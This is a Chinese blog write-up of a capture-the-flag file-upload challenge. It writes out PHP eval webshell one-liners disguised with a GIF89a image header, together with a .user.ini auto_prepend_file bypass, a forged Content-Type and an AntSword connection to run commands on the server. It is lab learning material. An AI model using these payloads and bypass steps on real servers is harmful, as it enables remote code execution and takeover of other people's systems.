初涉文件上传漏洞--攻防世界之esayupload
继续坚持我遇到什么学什么的原则
我第一次遇到了文件上传漏洞
这题的页面很简单,就一个上传头像的地方
结合题目我们可以很自然的想到要上传一个webshell,然后用蚁剑连接(F12我们发现头像的解析地址时uploads/index.php,,index.php会解析.php文件)
事实上这道题的思路的确是这样
所以我们编写一个
GIF89a <?php @eval($_POST[cmd]);?>
但是在我尝试上传一句话图片木马时,发现被过滤掉了
那怎么办呢,我不会了。。。
于是我开始搜索绕过方法,得知了一个.user.ini绕过(.user.ini中两个中的配置auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。)
我们需要新建一个文件,将其命名为.user.ini,在里面写入
GIF89a (注意这里加上文件欺骗头,让系统认为我们上传的是图片)
auto_prepend_file=1.jpg
再建一个文本写入
GIF89a
<?=eval($_POST['tlover']);?>(这里也不要写成<?php ?>,不然也会被过滤掉的)
再将文本命名为1.jpg(与上面.user.ini内容对应的文件名相同)
欧克,准备好文件之后,我们只需要先上传.user.ini,再上传1.jpg我们就成功了
注意在上传.user.ini时,我们要修改Content-Type,改为 image/jpeg(让系统认为我们上传的真的是图片),否则会被过滤的。
用bp抓包修改之后也是成功上传了
接下来上传1.jpg,无需做过多修改(因为我们已经写了GIF89a,且文件的后缀名为.jpg,所以这已经是一个很逼真的图片了 qwq)
直接上传成功
接下来我们用蚁剑进行连接,还记得图片的解析地址吗,千万不要被他显示的地址给欺骗,我们一定要用解析我们php文件(也就是我们的1.jpg)的地址。最开始我们就看了 是uploads/index.php。
直接加在ip地址的后面,输入密码(tlover)----链接成功!
最后在里面很容易的找到了flag文件,至此答案就出来了
这是我第一次遇到文件上传的绕过方法,暂时了解了这一种绕过,有机会再学学更多的绕过方法

浙公网安备 33010602011771号